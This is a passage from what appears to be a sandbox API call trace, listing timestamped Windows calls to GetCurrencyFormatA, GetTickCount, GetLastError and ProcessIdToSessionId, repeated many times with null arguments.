Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.094] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.094] GetTickCount () returned 0x1143083 [0029.094] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.095] GetLastError () returned 0x57 [0029.095] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.095] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.096] GetTickCount () returned 0x1143083 [0029.096] GetLastError () returned 0x57 [0029.096] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.097] GetTickCount () returned 0x1143083 [0029.097] GetLastError () returned 0x57 [0029.097] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.098] GetTickCount () returned 0x1143083 [0029.098] GetLastError () returned 0x57 [0029.098] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.123] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.124] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, pSessionId=0x0 | out: pSessionId=0x0) returned 0 [0029.125] ProcessIdToSessionId (in: dwProcessId=0x0, 